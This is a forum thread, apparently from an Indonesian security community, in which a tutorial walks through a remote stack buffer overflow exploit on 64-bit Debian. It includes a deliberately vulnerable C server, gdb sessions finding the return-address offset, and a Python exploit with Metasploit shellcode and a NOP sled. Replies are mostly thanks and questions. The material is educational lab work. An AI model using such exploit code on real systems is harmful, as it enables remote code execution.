Example of Basic Remote Stack Overflow Exploitation on amd64 - Debian 6.0.5
#1
by : Antonius
www.cr0security.com | www.indonesianbacktrack.or.id | www.security-hooligan.com

As second basic exploitation example we'll be exploiting a Debian 6.0.5 running on amd 64 bit machine remotely. As attacker machine we will use a backtrack machine here. Since this is just basic example we will need to turn off aslr to test our exploit :

root@localhost:~# cat /etc/debian_version
6.0.5
root@localhost:~# uname -a
Linux localhost.localdomain 2.6.32-amd64 #3 SMP Sun August 5 05:12:22 UTC 2012 x86_64 GNU/Linux


And since this is just basic we need to turn off aslr :

root@localhost:~# echo 0 > /proc/sys/kernel/randomize_va_space

As our basic example here we have a vulnerable server which mistakenly use memcpy, the memcpy supposed to filter length of user supplied input but in this case it's mistakenly used to let any length of user supplied input without validation : "memcpy(localbuffer, sockbuff, strlen(sockbuff)+1);" meanwhile localbuffer is 40 bytes of buffer hence when user supplied input more than 40 bytes a buffer overflow will occur.

server.c :
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/syslog.h>
#include <sys/wait.h>
#include <time.h>
#define port 47474

int log_msg(char *sockbuff)
{
char localbuffer[300];

memcpy(localbuffer, sockbuff, strlen(sockbuff)+1);
syslog(LOG_INFO, "%s\n", localbuffer);
return 0;
exit(0);
}

void stop_crash()
{
pid_t pid;
int status;

while ((pid = waitpid(-1, &status, WNOHANG)) > 0)
return;
}

int main(int argc, char **argv)
{
int sin_size, sock, sock_client, rcv , true = 1;
char sockbuff[2000];
struct sockaddr_in server_addr,client_addr;
pid_t pid;

setuid(0);
setgid(0);
fflush(stdout);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
return -1;
if (setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,&true,sizeof(int)) == -1)
return -1;
server_addr.sin_family = PF_INET;
server_addr.sin_port = htons(port);
server_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(server_addr.sin_zero),8);
if (bind(sock, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1)
return -1;
if (listen(sock, 5) == -1)
return -1;
signal (SIGCHLD, stop_crash);
while(1) {
sin_size = sizeof(struct sockaddr_in);
sock_client = accept(sock, (struct sockaddr *)&client_addr,(socklen_t * __restrict__)&sin_size);
if (sock_client) {
pid = fork();
if (pid == 0) {
rcv = recv(sock_client,sockbuff, 2000,0);
sockbuff[rcv] = '\0';
log_msg(sockbuff);
}
usleep(50000);
}
}
close(sock);
return 0;
}

By Default on 64 bit debian 6.0.5 stack memory area has nx bit to prevent our shellcode execution on stack, so it's very crucial while learning for basic exploitation here to disable nx when compile our vulnerable binary, we compile using -z execstack

root@localhost:~# gcc -o server server.c -g -fno-stack-protector -z execstack

Find out Return Address on x86_64 Machine

Before we continue with our exploitation, let's find out our return address in this x64 environment. First run the server then attach it to gdb :

(gdb) attach 9594
Attaching to process 9594
Reading symbols from /root/bof/server...done.
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib64/ld-linux-x86-64.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib64/ld-linux-x86-64.so.2
0x00007ffff7b4d710 in accept () from /lib/libc.so.6
(gdb) set follow-fork-mode child
(gdb) disas log_msg
Dump of assembler code for function log_msg:
0x0000000000400a84 : push %rbp
0x0000000000400a85 : mov %rsp,%rbp
0x0000000000400a88 : sub $0x140,%rsp
0x0000000000400a8f : mov %rdi,-0x138(%rbp)
0x0000000000400a96 : mov -0x138(%rbp),%rax
0x0000000000400a9d : mov %rax,%rdi
0x0000000000400aa0 : callq 0x4008d8
0x0000000000400aa5 : lea 0x1(%rax),%rdx
0x0000000000400aa9 : mov -0x138(%rbp),%rcx
0x0000000000400ab0 : lea -0x130(%rbp),%rax
0x0000000000400ab7 : mov %rcx,%rsi
0x0000000000400aba : mov %rax,%rdi
0x0000000000400abd : callq 0x400908
0x0000000000400ac2 : lea -0x130(%rbp),%rax
0x0000000000400ac9 : mov %rax,%rdx
0x0000000000400acc : mov $0x400dbc,%esi
0x0000000000400ad1 : mov $0x6,%edi
0x0000000000400ad6 : mov $0x0,%eax
0x0000000000400adb : callq 0x400868
0x0000000000400ae0 : mov $0x0,%eax
0x0000000000400ae5 : leaveq
0x0000000000400ae6 : retq
End of assembler dump.
(gdb) b *0x0000000000400ae6
Breakpoint 1 at 0x400ae6: file server.c, line 24.
(gdb) cont
Continuing.


We place breakpoint at 0x400ae6. Next test with simple input :

echo `perl -e 'print "A";'` | telnet 198.147.23.101 47474

On our experiment machine we see on gdb it stop at 0x400ae6 :


[Image: x64_0.jpg]


If we dump the rsp it will be address of next instruction :

(gdb) x/x $rsp
0x7fffffffe3a8: 0x0000000000400cb3


The instruction that we're going to execute is retq :

(gdb) x/i $rip
0x400ae6 : retq


Since we stop on retq, this retq will use what's on the top of the stack as return address of current function. So it means right after log_msg executed instruction will be on 0x0000000000400cb3, let's find out :

(gdb) disas main
Dump of assembler code for function main:
=====snipped===
0x0000000000400cae : callq 0x400a84
0x0000000000400cb3 : mov $0xc350,%edi
===snipped=====



So we figure out on normal condition, our next execution will be pointed to address : 0x0000000000400cb3, And our task here is to overwrite return adress of log_msg in order to point to our shellcode on the stack (basic example method when nx is disabled).

Overwriting Return Address

Let's have an examination with gdb.

[Image: x64_1.jpg]


We use set follow-fork-mode child to examine the child process when it crash.

In order to find out this function's return address later, we will place a break point right before retq instruction, place a break point at 0x0000000000400ae5 and continue:

(gdb) disas log_msg
Dump of assembler code for function log_msg:
0x0000000000400a84 : push %rbp
0x0000000000400a85 : mov %rsp,%rbp
0x0000000000400a88 : sub $0x140,%rsp
0x0000000000400a8f : mov %rdi,-0x138(%rbp)
0x0000000000400a96 : mov -0x138(%rbp),%rax
0x0000000000400a9d : mov %rax,%rdi
0x0000000000400aa0 : callq 0x4008d8
0x0000000000400aa5 : lea 0x1(%rax),%rdx
0x0000000000400aa9 : mov -0x138(%rbp),%rcx
0x0000000000400ab0 : lea -0x130(%rbp),%rax
0x0000000000400ab7 : mov %rcx,%rsi
0x0000000000400aba : mov %rax,%rdi
0x0000000000400abd : callq 0x400908
0x0000000000400ac2 : lea -0x130(%rbp),%rax
0x0000000000400ac9 : mov %rax,%rdx
0x0000000000400acc : mov $0x400dbc,%esi
0x0000000000400ad1 : mov $0x6,%edi
0x0000000000400ad6 : mov $0x0,%eax
0x0000000000400adb : callq 0x400868
0x0000000000400ae0 : mov $0x0,%eax
0x0000000000400ae5 : leaveq
0x0000000000400ae6 : retq
End of assembler dump.
(gdb) b *0x0000000000400ae5
Breakpoint 1 at 0x400ae5: file server.c, line 24.
(gdb) cont
Continuing.

Next, for testing we will craft a basic tcp packet here, where we craft the packet length about 350 bytes using pattern_create.rb for testing :

[Image: x64_2.jpg]



On our experiment machine's gdb we see program stop at our break point

(gdb) cont
Continuing.
[New process 9539]
[Switching to process 9539]

Breakpoint 1, log_msg (
sockbuff=0x7fffffffe3e0 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"...) at server.c:24
24 }
(gdb) step
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400ae6 in log_msg (sockbuff=Cannot access memory at address 0x336b41326b413033
) at server.c:24
24 }



Since we stop on retq, this retq will use what's on the top of the stack as return address of current function. So let's find out what is our return address :

(gdb) x/gx $rsp
0x7fffffffe3a8: 0x6b41356b41346b41



We can see that this 0x6b41356b41346b41 will be our function's return address, this is not a valid memory address that is mapped on this elf run time memory. Let's take about 4 last bytes 41346b41. If we translate byte by byte into ascii it becomes : A4kA, and since this machine use little endian we will need to invert it. So we need to find "Ak4A" using pattern_offset.rb.

[Image: x64_3.jpg]



So we need about 312 bytes preceed to overwrite our return address. Let's make it. Reattach server to gdb, and craft a tcp packet with 312 bytes + 3 bytes special sign to check successfull overwrite later :

echo `perl -e 'print "A" x 312 . "\x42\x43\x44";'` | telnet 198.147.23.101 47474



Back to our experiment server we can see that we've successfully overwrite log_msg return address, as you can see here :


[Image: x64_4.jpg]


Next we step to check :

(gdb) x/gx $rsp
0x7fffffffe3a8: 0x0000000a0d444342
(gdb) step

Program received signal SIGSEGV, Segmentation fault.
0x0000000a0d444342 in ?? ()
(gdb)

If we step a segmentation fault occur since 0x0000000a0d444342 is not a valid memory address.
So we've successfully overwrite log_msg return address. Next we will do exploitation.


Crafting an Exploit

Before crafting exploit, rerun our server on gdb to check what happens later:

(gdb) b *0x0000000000400ae6
Breakpoint 1 at 0x400ae6: file server.c, line 24.
(gdb) cont
Continuing.

As usual for basic exploitation we will need to overwrite return address with address that points to our shellcode. At first let's generate a shellcode.

Since this article is not about shellcoding, we will generate our shellcode for exploit using metasploit :

[Image: x64_5.jpg]



Next craft a basic exploit skeleton:

#/usr/bin/python
import socket
# linux/x64/exec - 95 bytes
# http://www.metasploit.com
# Encoder: x64/xor
# VERBOSE=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependChrootBreak=false, AppendExit=false, CMD=touch
# /tmp/cr0
shellcode = ("\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05\xef" +
"\xff\xff\xff\x48\xbb\x2d\xb4\x5a\xcc\xcb\xcf\xc7\x29\x48" +
"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x47\x8f\x02" +
"\x55\x83\x74\xe8\x4b\x44\xda\x75\xbf\xa3\xcf\x94\x61\xa4" +
"\x53\x32\xe1\xa8\xcf\xc7\x61\xa4\x52\x08\x24\xc4\xcf\xc7" +
"\x29\x59\xdb\x2f\xaf\xa3\xef\xe8\x5d\x40\xc4\x75\xaf\xb9" +
"\xff\xc7\x7f\x7a\xfc\xd3\x2a\xc4\xca\xc7\x29")
before = "\x90" * 200
after = "\x90" * 17
test_ret = "\x42\x43\x44\x45"
host = "198.147.23.101"
payload = before + shellcode + after + test_ret
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "payload len:"
print len(payload)
s.connect((host, 47474))
s.send(payload)



We use payload to touch /tmp/cr0. So if the exploitation success /tmp/cr0 will be created. Run the exploit then once the execution stop at 0x400ae6 we examine our buffer, to find out where the shellcode is


[Image: x64_6.jpg]

[Image: x64_7.jpg]


In this example we can use 0x7fffffffe478 as our return address, since we will land at our nop sled then later the execution will continue to our shellcode that we place on the stack.


We modify our basic exploit with out return address :

#0x7fffffffe478
test_ret = "\x78\xe4\xff\xff\xff\x7f"

[Image: x64_8.jpg]

Then as the execution continue we can see we've successfully execute our shellcode so /tmp/cr0 created :

[Image: x64_9.jpg]

#2
(Y) om walau puyeng tapi bagus buat di baca" wkwkwkwkw

#3
Nice share brow.. ijin belajar Big Grin

#4
hehe tumben posting disini om Big Grin .

sy ngga pernah berhasil overwrite rip di 64 bit Sad apa emang saat compile harus diberi
Code:
-z execstack
yah om?

#5
dan saatnya saya harus bilang "wow"
keren nih tutorial dan TS nya

saya belajar dulu om, masih newbaby

zzzzzzzzzz

#6
masih ngga ngeti dan ngga paham apasih itu buffer overflow , remote stack overflow Big Grin

#7
@alkaaf:
ga keliatan rip dioverwrite, caranya kasih break point sebelum retq, btw udah tercantum di artikelnya


%00

#8
(08-18-2013, 10:38 PM)jrs_faisal Wrote: masih ngga ngeti dan ngga paham apasih itu buffer overflow , remote stack overflow Big Grin

http://en.wikipedia.org/wiki/Buffer_overflow

(09-03-2013, 12:25 AM)mywisdom Wrote: @alkaaf:
ga keliatan rip dioverwrite, caranya kasih break point sebelum retq, btw udah tercantum di artikelnya


%00

oh berarti ngga keliatan kalo udah selese yah. ok bro. ane cb dulu

#9
bentar, ane nyasar nih wkwkwk

#10
nice tutorial br0 ..
FOLLOW @DutaLinux
for more question and sharing about security and Opensource only






Users browsing this thread: 1 Guest(s)